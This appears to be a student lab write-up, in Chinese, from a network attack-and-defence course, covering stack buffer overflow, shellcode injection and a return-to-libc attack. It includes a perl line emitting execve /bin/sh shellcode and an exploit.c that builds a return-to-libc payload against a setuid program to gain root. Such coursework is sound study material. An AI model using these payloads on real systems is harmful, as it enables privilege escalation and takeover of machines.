20145222黄亚奇《网络对抗》 逆向及BOF进阶实践学习总结
2017-04-11 20:24
309 查看
20145222《网络对抗》 逆向及BOF进阶实践学习总结
实践目的
1.注入shellcode2.实现Return-to-libc攻击
知识点学习总结
Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务器的。 Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起Linux中两种基本构造攻击buf的方法:retaddr+nop+shellcode,nop+shellcode+retaddr,缓冲区小就就把shellcode放后边,不然就放前边。
Return-to-libc是缓冲区溢出的变体攻击,这种攻击不需要一个栈可以执行,甚至不需要一个shelcode,取而代之的是我们让漏洞程序调转到现存的代码(比如已经载入内存的lib库中的system()函数等)来实现我们的攻击。
过程概述
一、注入shellcode
1.构造shellcode2.设置堆栈可执行,并查询堆栈是否可执行,以便shellcode在堆栈上可以执行;关闭地址随机化,避免每次执行分配的内存地址不同
3.采取nop+shellcode+retaddr方式构造payload(\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置,需要将它改为shellcode的地址)
1)Linux下有两种基本构造攻击buf的方法:
//缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边 1.retaddr+nop+shellcode 2.nop+shellcode+retaddr(我采用的是这种)
2)在终端中输入如下:
[code]perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode[/code]
4.调试确定该地址
5:通过如下方式寻找需要输入的地址:
6.按照anything+retaddr+nops+shellcode修改input_shellcode,运行成功
Retuen-to-libc实验
一、配置实验环境
二、漏洞程序
1.将漏洞程序保存在/tmp目录下,编译该程序,并设置SET-UID:2.我们还需要用到一个读取环境变量的程序:
retlib.c代码:
三、攻击程序
1.把以下代码保存为“exploit.c”文件,保存到 /tmp 目录下#include <stdlib.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { char buf[40]; FILE *badfile; badfile = fopen(".//badfile", "w"); strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times *(long *) &buf[32] =0x11111111; // "//bin//sh" *(long *) &buf[24] =0x22222222; // system() *(long *) &buf[36] =0x33333333; // exit() fwrite(buf, sizeof(buf), 1, badfile); fclose(badfile); }
2.用getenvaddr程序获得BIN_SH地址:
3.利用gdb获得system和exit地址:
4.将找到的三个内存地址填写在exploit.c中:
5.删除刚才调试编译的exploit程序和badfile文件,重新编译修改后的exploit.c:
6.先运行攻击程序exploit,再运行漏洞程序retlib,攻击成功,获得了root权限:
相关文章推荐
- 20145217《网络对抗》 逆向及BOF进阶实践学习总结
- 20145222黄亚奇 《网络对抗技术》 MAL_逆向与Bof基础
- 20145311 王亦徐《网络对抗技术》 逆向及BOF进阶实践
- 20145302张薇 《网络对抗技术》逆向及BOF基础实践
- 20145203盖泽双 《网络对抗技术》实践1—— MAL_逆向与Bof基础
- 20145232韩文浩《网络对抗》逆向及BOF基础实践
- 20145308 《网络对抗》 逆向及BOF基础实践 学习总结
- 20145328 《网络对抗技术》逆向及Bof基础实践
- 20145210姚思羽《网络对抗技术》逆向及Bof基础实践
- 20145329 《网络对抗技术》 逆向及Bof基础实验
- Java网络编程实践和总结 --- URLConnection的学习
- 20145222黄亚奇《Java程序设计》第9周学习总结
- 20145216史婧瑶《网络对抗》逆向及Bof进阶实践
- 20145222黄亚奇《Java程序设计》第2周学习总结
- 20145222黄亚奇《Java程序设计》第3周学习总结
- 《网络对抗》 逆向及Bof进阶实践
- 20145222黄亚奇《Java程序设计》第7周学习总结
- 20145222黄亚奇《Java程序设计》第6周学习总结
- Java开发实践 网络编程 学习、应用、总结
- 20145317 网络对抗技术 逆向与Bof基础